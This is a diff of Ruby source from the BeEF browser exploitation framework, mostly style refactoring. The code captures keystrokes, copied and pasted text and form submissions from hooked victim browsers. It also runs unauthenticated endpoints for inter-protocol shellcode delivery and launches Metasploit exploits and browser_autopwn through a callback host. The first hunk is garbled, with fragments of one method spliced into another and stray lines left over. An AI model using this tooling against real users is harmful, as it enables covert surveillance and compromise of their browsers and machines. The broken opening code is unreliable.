# Sets up event logging
|
||||
#
|
||||
def setup
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
if beef_hook.nil?
|
||||
print_error '[EVENTS] beef_hook is null'
|
||||
return
|
||||
end
|
||||
when 'submit'
|
||||
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
|
||||
else
|
||||
print_debug '[EVENTS] Event handler has received an unknown event'
|
||||
result = "#{event['time']}s - Unknown event"
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie = Z.where(session: beef_hook).first || nil
|
||||
if zombie.nil?
|
||||
print_error '[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database'
|
||||
return
|
||||
end
|
||||
|
||||
events = @data['results']
|
||||
|
||||
# push events to logger
|
||||
logger = BeEF::Core::Logger.instance
|
||||
events.each do |value|
|
||||
logger.register('Event', parse(value), zombie.id)
|
||||
end
|
||||
end
|
||||
|
||||
def parse(event)
|
||||
case event['type']
|
||||
when 'click'
|
||||
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
|
||||
when 'focus'
|
||||
result = "#{event['time']}s - [Focus] Browser window has regained focus."
|
||||
when 'copy'
|
||||
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
|
||||
when 'cut'
|
||||
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
|
||||
when 'paste'
|
||||
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
|
||||
when 'blur'
|
||||
result = "#{event['time']}s - [Blur] Browser window has lost focus."
|
||||
when 'console'
|
||||
result = "#{event['time']}s - [Console] #{event['data']}"
|
||||
when 'keys'
|
||||
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
|
||||
print_debug "EventData: #{event['data']}"
|
||||
if event['mods'].size.positive?
|
||||
print_debug 'Event has mods'
|
||||
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
|
||||
else
|
||||
result = "#{event['time']}s - [User Typed] #{event['data']}"
|
||||
end
|
||||
when 'submit'
|
||||
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
|
||||
else
|
||||
print_debug '[EVENTS] Event handler has received an unknown event'
|
||||
result = "#{event['time']}s - Unknown event"
|
||||
end
|
||||
result
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,47 +4,38 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Extension
|
||||
# TODO: remove it from here:
|
||||
# Handlers
|
||||
# require 'extensions/ipec/fingerprinter'
|
||||
# require 'extensions/ipec/launcher'
|
||||
require 'extensions/ipec/junk_calculator'
|
||||
|
||||
#todo remove it from here:
|
||||
# Handlers
|
||||
#require 'extensions/ipec/fingerprinter'
|
||||
#require 'extensions/ipec/launcher'
|
||||
require 'extensions/ipec/junk_calculator'
|
||||
module Ipec
|
||||
extend BeEF::API::Extension
|
||||
|
||||
module Ipec
|
||||
extend BeEF::API::Extension
|
||||
@short_name = 'Ipec'
|
||||
@full_name = 'Inter-Protocol Exploitation'
|
||||
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
|
||||
|
||||
@short_name = 'Ipec'
|
||||
@full_name = 'Inter-Protocol Exploitation'
|
||||
@description = "Use the Inter-Protocol Exploitation technique to send shellcode to daemons implementing 'tolerant' protocols."
|
||||
|
||||
module RegisterIpecRestHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
|
||||
module RegisterIpecRestHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/ipec', BeEF::Extension::Ipec::IpecRest.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
# TODO: remove it from here, and make it dynamic.
|
||||
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator('imapeudora1')
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Ipec::RegisterIpecRestHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#todo remove it from here, and make it dynamic.
|
||||
BeEF::Extension::Ipec::JunkCalculator.instance.bind_junk_calculator("imapeudora1")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Models
|
||||
# todo: to be used when we'll have more IPEC exploits
|
||||
#require 'extensions/ipec/models/ipec_exploits'
|
||||
#require 'extensions/ipec/models/ipec_exploits_run'
|
||||
# require 'extensions/ipec/models/ipec_exploits'
|
||||
# require 'extensions/ipec/models/ipec_exploits_run'
|
||||
|
||||
# RESTful api endpoints
|
||||
require 'extensions/ipec/rest/ipec'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -10,19 +10,18 @@ module BeEF
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@binded_sockets = {}
|
||||
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
||||
@binded_sockets = {}
|
||||
@host = BeEF::Core::Configuration.instance.get('beef.http.host')
|
||||
end
|
||||
|
||||
def bind_junk_calculator(name)
|
||||
port = 2000
|
||||
#todo add binded ports to @binded_sockets. Increase +1 port number if already binded
|
||||
#if @binded_sockets[port] != nil
|
||||
#else
|
||||
#end
|
||||
# TODO: add binded ports to @binded_sockets. Increase +1 port number if already binded
|
||||
# if @binded_sockets[port] != nil
|
||||
# else
|
||||
# end
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket(name, @host, port)
|
||||
@binded_sockets[name] = port
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,11 +7,8 @@ module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class IpecExploits < BeEF::Core::Model
|
||||
|
||||
has_many :ipec_exploits_run
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,11 +7,8 @@ module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class IpecExploitsRun < BeEF::Core::Model
|
||||
|
||||
belongs_to :ipec_exploit
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,13 +8,12 @@ module BeEF
|
||||
module Extension
|
||||
module Ipec
|
||||
class IpecRest < BeEF::Core::Router::Router
|
||||
|
||||
before do
|
||||
# NOTE: the method exposed by this class are NOT-AUTHENTICATED.
|
||||
# They need to be called remotely from a hooked browser.
|
||||
|
||||
#error 401 unless params[:token] == config.get('beef.api_token')
|
||||
#halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
# error 401 unless params[:token] == config.get('beef.api_token')
|
||||
# halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
@@ -26,53 +25,45 @@ module BeEF
|
||||
# See modules/exploits/beefbind/beef_bind_staged_deploy/command.js for more info.
|
||||
# todo: the core of this method should be moved to ../junk_calculator.rb
|
||||
get '/junk/:name' do
|
||||
socket_name = params[:name]
|
||||
halt 401 if not BeEF::Filters.alphanums_only?(socket_name)
|
||||
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
|
||||
halt 404 if socket_data == nil
|
||||
socket_name = params[:name]
|
||||
halt 401 unless BeEF::Filters.alphanums_only?(socket_name)
|
||||
socket_data = BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.get_socket_data(socket_name)
|
||||
halt 404 if socket_data.nil?
|
||||
|
||||
if socket_data.include?("\r\n\r\n")
|
||||
result = Hash.new
|
||||
if socket_data.include?("\r\n\r\n")
|
||||
result = {}
|
||||
|
||||
headers = socket_data.split("\r\n\r\n").first
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
|
||||
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
|
||||
# CRLF -> 4 bytes
|
||||
result['size'] = headers.size + 4
|
||||
headers = socket_data.split("\r\n\r\n").first
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket(socket_name)
|
||||
print_info "[IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket [#{socket_name}]: #{headers.size + 4} bytes."
|
||||
# CRLF -> 4 bytes
|
||||
result['size'] = headers.size + 4
|
||||
|
||||
headers.split("\r\n").each do |line|
|
||||
if line.include?("Host")
|
||||
result['host'] = line.size + 2
|
||||
end
|
||||
if line.include?("Content-Type")
|
||||
result['contenttype'] = line.size + 2
|
||||
end
|
||||
if line.include?("Referer")
|
||||
result['referer'] = line.size + 2
|
||||
end
|
||||
end
|
||||
result.to_json
|
||||
else
|
||||
print_error "[IPEC] Looks like there is no CRLF in the data received!"
|
||||
halt 404
|
||||
end
|
||||
headers.split("\r\n").each do |line|
|
||||
result['host'] = line.size + 2 if line.include?('Host')
|
||||
result['contenttype'] = line.size + 2 if line.include?('Content-Type')
|
||||
result['referer'] = line.size + 2 if line.include?('Referer')
|
||||
end
|
||||
result.to_json
|
||||
else
|
||||
print_error '[IPEC] Looks like there is no CRLF in the data received!'
|
||||
halt 404
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# The original Firefox Extension sources are in extensions/ipec/files/LinkTargetFinder dir.
|
||||
# If you want to modify the pref.js file, do the following to re-pack the extension:
|
||||
# $cd firefox_extension_directory
|
||||
# $zip -r ../result-name.xpi *
|
||||
get '/ff_extension' do
|
||||
response['Content-Type'] = "application/x-xpinstall"
|
||||
ff_extension = "#{File.expand_path('../../../ipec/files', __FILE__)}/LinkTargetFinder.xpi"
|
||||
response['Content-Type'] = 'application/x-xpinstall'
|
||||
ff_extension = "#{File.expand_path('../../ipec/files', __dir__)}/LinkTargetFinder.xpi"
|
||||
print_info "[IPEC] Serving Firefox Extension: #{ff_extension}"
|
||||
send_file "#{ff_extension}",
|
||||
:type => 'application/x-xpinstall',
|
||||
:disposition => 'inline'
|
||||
send_file ff_extension.to_s,
|
||||
type: 'application/x-xpinstall',
|
||||
disposition: 'inline'
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -55,7 +55,7 @@ module BeEF
|
||||
m_details = msf.call('module.info', 'exploit', m)
|
||||
next unless m_details
|
||||
|
||||
key = 'msf_' + m.split('/').last
|
||||
key = "msf_#{m.split('/').last}"
|
||||
# system currently doesn't support multilevel categories
|
||||
# categories = ['Metasploit']
|
||||
# m.split('/')[0...-1].each{|c|
|
||||
@@ -75,6 +75,7 @@ module BeEF
|
||||
elsif m_details['description'] =~ /Opera/i
|
||||
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
|
||||
end
|
||||
|
||||
# TODO:
|
||||
# - Add support for detection of target OS
|
||||
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
||||
@@ -132,9 +133,7 @@ module BeEF
|
||||
}
|
||||
|
||||
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
||||
unless msf_payload_options
|
||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
||||
end
|
||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}" unless msf_payload_options
|
||||
|
||||
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
||||
options
|
||||
@@ -170,7 +169,7 @@ module BeEF
|
||||
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
|
||||
|
||||
bopts << { sploit_url: uri }
|
||||
c = BeEF::Core::Models::Command.new(
|
||||
BeEF::Core::Models::Command.new(
|
||||
data: bopts.to_json,
|
||||
hooked_browser_id: hb.id,
|
||||
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||
|
||||
@@ -113,7 +113,7 @@ module BeEF
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/msf handler.
|
||||
class InvalidJsonError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
@@ -122,7 +122,7 @@ module BeEF
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/msf handler.
|
||||
class InvalidParamError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
str = 'Invalid "%s" parameter passed to /api/msf handler'
|
||||
|
||||
@@ -102,7 +102,7 @@ module BeEF
|
||||
sleep 1
|
||||
code = http.head(path, headers).code.to_i
|
||||
print_debug "[Metasploit] Success - HTTP response: #{code}"
|
||||
rescue StandardError => e
|
||||
rescue StandardError
|
||||
retry if (retries -= 1).positive?
|
||||
end
|
||||
|
||||
@@ -185,6 +185,9 @@ module BeEF
|
||||
get_lock
|
||||
res = call('module.info', 'exploit', name)
|
||||
res || {}
|
||||
rescue StandardError => e
|
||||
print_error "Call module.info for module #{name} failed: #{e.message}"
|
||||
{}
|
||||
ensure
|
||||
release_lock
|
||||
end
|
||||
@@ -193,6 +196,9 @@ module BeEF
|
||||
get_lock
|
||||
res = call('module.compatible_payloads', name)
|
||||
res || {}
|
||||
rescue StandardError => e
|
||||
print_error "Call module.compatible_payloads for module #{name} failed: #{e.message}"
|
||||
{}
|
||||
ensure
|
||||
release_lock
|
||||
end
|
||||
@@ -201,6 +207,9 @@ module BeEF
|
||||
get_lock
|
||||
res = call('module.options', 'exploit', name)
|
||||
res || {}
|
||||
rescue StandardError => e
|
||||
print_error "Call module.options for module #{name} failed: #{e.message}"
|
||||
{}
|
||||
ensure
|
||||
release_lock
|
||||
end
|
||||
@@ -211,6 +220,9 @@ module BeEF
|
||||
return {} unless res || res['modules']
|
||||
|
||||
res['modules']
|
||||
rescue StandardError => e
|
||||
print_error "Call module.payloads failed: #{e.message}"
|
||||
{}
|
||||
ensure
|
||||
release_lock
|
||||
end
|
||||
@@ -222,6 +234,7 @@ module BeEF
|
||||
|
||||
res
|
||||
rescue StandardError => e
|
||||
print_error "Call module.options for payload #{name} failed: #{e.message}"
|
||||
{}
|
||||
ensure
|
||||
release_lock
|
||||
@@ -234,7 +247,7 @@ module BeEF
|
||||
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
|
||||
res
|
||||
rescue StandardError => e
|
||||
print_error "Exploit failed for #{exploit} \n"
|
||||
print_error "Exploit failed for #{exploit}\n#{e.message}"
|
||||
false
|
||||
ensure
|
||||
release_lock
|
||||
@@ -248,7 +261,7 @@ module BeEF
|
||||
get_lock
|
||||
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
|
||||
rescue StandardError => e
|
||||
print_error 'Failed to launch autopwn'
|
||||
print_error "Failed to launch browser_autopwn: #{e.message}"
|
||||
false
|
||||
ensure
|
||||
release_lock
|
||||
|
||||
@@ -10,7 +10,7 @@ module BeEF
|
||||
# Table stores each host identified on the zombie browser's network(s)
|
||||
#
|
||||
class NetworkHost < BeEF::Core::Model
|
||||
belongs_to :hooked_browser
|
||||
belongs_to :hooked_browser
|
||||
|
||||
#
|
||||
# Stores a network host in the data store
|
||||
|
||||
@@ -10,8 +10,7 @@ module BeEF
|
||||
# Table stores each open port identified on the zombie browser's network(s)
|
||||
#
|
||||
class NetworkService < BeEF::Core::Model
|
||||
belongs_to :hooked_browser
|
||||
|
||||
belongs_to :hooked_browser
|
||||
|
||||
#
|
||||
# Stores a network service in the data store
|
||||
@@ -53,7 +52,7 @@ module BeEF
|
||||
port: service[:port],
|
||||
ntype: service[:ntype]
|
||||
).length
|
||||
return if total > 0
|
||||
return if total.positive?
|
||||
|
||||
# store the returned network service details
|
||||
network_service = BeEF::Core::Models::NetworkService.new(
|
||||
|
||||
@@ -27,152 +27,140 @@ module BeEF
|
||||
|
||||
# Returns the entire list of network hosts for all zombies
|
||||
get '/hosts' do
|
||||
begin
|
||||
hosts = @nh.all.distinct.order(:id)
|
||||
count = hosts.length
|
||||
hosts = @nh.all.distinct.order(:id)
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = []
|
||||
hosts.each do |host|
|
||||
result[:hosts] << host.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host list (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = []
|
||||
hosts.each do |host|
|
||||
result[:hosts] << host.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host list (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns the entire list of network services for all zombies
|
||||
get '/services' do
|
||||
begin
|
||||
services = @ns.all.distinct.order(:id)
|
||||
count = services.length
|
||||
services = @ns.all.distinct.order(:id)
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = []
|
||||
services.each do |service|
|
||||
result[:services] << service.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = []
|
||||
services.each do |service|
|
||||
result[:services] << service.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns all hosts given a specific hooked browser id
|
||||
get '/hosts/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
hooked_browser = @hb.where(session: id).distinct
|
||||
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
|
||||
count = hosts.length
|
||||
hooked_browser = @hb.where(session: id).distinct
|
||||
hosts = @nh.where(hooked_browser: hooked_browser).distinct.order(:hooked_browser)
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = []
|
||||
hosts.each do |host|
|
||||
result[:hosts] << host.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:hosts] = []
|
||||
hosts.each do |host|
|
||||
result[:hosts] << host.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving hosts list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns all services given a specific hooked browser id
|
||||
get '/services/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
|
||||
count = services.length
|
||||
services = @ns.where(hooked_browser_id: id).distinct.order(:id)
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = []
|
||||
services.each do |service|
|
||||
result[:services] << service.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:services] = []
|
||||
services.each do |service|
|
||||
result[:services] << service.to_h
|
||||
end
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns a specific host given its id
|
||||
get '/host/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
host = @nh.find(id)
|
||||
raise InvalidParamError, 'id' if host.nil?
|
||||
halt 404 if host.nil?
|
||||
host = @nh.find(id)
|
||||
raise InvalidParamError, 'id' if host.nil?
|
||||
|
||||
host.to_h.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
halt 404 if host.nil?
|
||||
|
||||
host.to_h.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Deletes a specific host given its id
|
||||
delete '/host/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||
id = params[:id]
|
||||
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
||||
|
||||
host = @nh.find(id)
|
||||
halt 404 if host.nil?
|
||||
host = @nh.find(id)
|
||||
halt 404 if host.nil?
|
||||
|
||||
result = {}
|
||||
result['success'] = @nh.delete(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
result = {}
|
||||
result['success'] = @nh.delete(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns a specific service given its id
|
||||
get '/service/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
service = @ns.find(id)
|
||||
raise InvalidParamError, 'id' if service.nil?
|
||||
halt 404 if service.empty?
|
||||
service = @ns.find(id)
|
||||
raise InvalidParamError, 'id' if service.nil?
|
||||
|
||||
service.to_h.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
halt 404 if service.empty?
|
||||
|
||||
service.to_h.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/network handler.
|
||||
|
||||
@@ -8,43 +8,37 @@
|
||||
require 'net/smtp'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
|
||||
class Email
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
class Email
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(to_address, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@from_address = @config.get('beef.extension.notifications.email.from_address')
|
||||
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
|
||||
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
|
||||
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
|
||||
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(to_address, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@from_address = @config.get('beef.extension.notifications.email.from_address')
|
||||
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
|
||||
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
|
||||
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
|
||||
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
|
||||
|
||||
# configure the email client
|
||||
msg = "Subject: BeEF Notification\n\n" + message
|
||||
smtp = Net::SMTP.new @smtp_host, @smtp_port
|
||||
#if @smtp_tls_enable?
|
||||
# smtp.enable_starttls
|
||||
# smtp.start('beefproject.com', @from_address, @password, :login) do
|
||||
# smtp.send_message(msg, @from_address, @to_address)
|
||||
# end
|
||||
#else
|
||||
smtp.start do
|
||||
smtp.send_message(msg, @from_address, to_address)
|
||||
# configure the email client
|
||||
msg = "Subject: BeEF Notification\n\n#{message}"
|
||||
smtp = Net::SMTP.new @smtp_host, @smtp_port
|
||||
# if @smtp_tls_enable?
|
||||
# smtp.enable_starttls
|
||||
# smtp.start('beefproject.com', @from_address, @password, :login) do
|
||||
# smtp.send_message(msg, @from_address, @to_address)
|
||||
# end
|
||||
# else
|
||||
smtp.start do
|
||||
smtp.send_message(msg, @from_address, to_address)
|
||||
end
|
||||
# end
|
||||
end
|
||||
end
|
||||
#end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,13 +1,11 @@
|
||||
require 'rushover'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
|
||||
class Pushover
|
||||
|
||||
def initialize(message)
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
class Pushover
|
||||
def initialize(message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Configure the Pushover Client
|
||||
@@ -15,12 +13,11 @@ module Channels
|
||||
|
||||
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
|
||||
print_error '[Notifications] Pushover notification failed' unless res.ok?
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -6,36 +6,36 @@
|
||||
require 'slack-notifier'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
class SlackWorkspace
|
||||
def initialize(message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
class SlackWorkspace
|
||||
# Configure the Slack Client
|
||||
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
|
||||
channel = @config.get('beef.extension.notifications.slack.channel')
|
||||
username = @config.get('beef.extension.notifications.slack.username')
|
||||
|
||||
def initialize(message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/')
|
||||
print_error '[Notifications] Invalid Slack WebHook URL'
|
||||
return
|
||||
end
|
||||
|
||||
# Configure the Slack Client
|
||||
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
|
||||
channel = @config.get('beef.extension.notifications.slack.channel')
|
||||
username = @config.get('beef.extension.notifications.slack.username')
|
||||
notifier = Slack::Notifier.new(
|
||||
webhook_url,
|
||||
channel: channel,
|
||||
username: username,
|
||||
http_options: { open_timeout: 10 }
|
||||
)
|
||||
|
||||
if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/}
|
||||
print_error '[Notifications] Invalid Slack WebHook URL'
|
||||
return
|
||||
notifier.ping message
|
||||
rescue StandardError => e
|
||||
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
notifier = Slack::Notifier.new webhook_url,
|
||||
channel: channel,
|
||||
username: username,
|
||||
http_options: { open_timeout: 10 }
|
||||
|
||||
notifier.ping message
|
||||
rescue => e
|
||||
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,36 +8,32 @@
|
||||
require 'twitter'
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
|
||||
class Tweet
|
||||
module Extension
|
||||
module Notifications
|
||||
module Channels
|
||||
class Tweet
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(username, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize(username, message)
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
# configure the Twitter client
|
||||
client = Twitter::REST::Client.new do |config|
|
||||
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
||||
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
||||
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
||||
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
|
||||
end
|
||||
|
||||
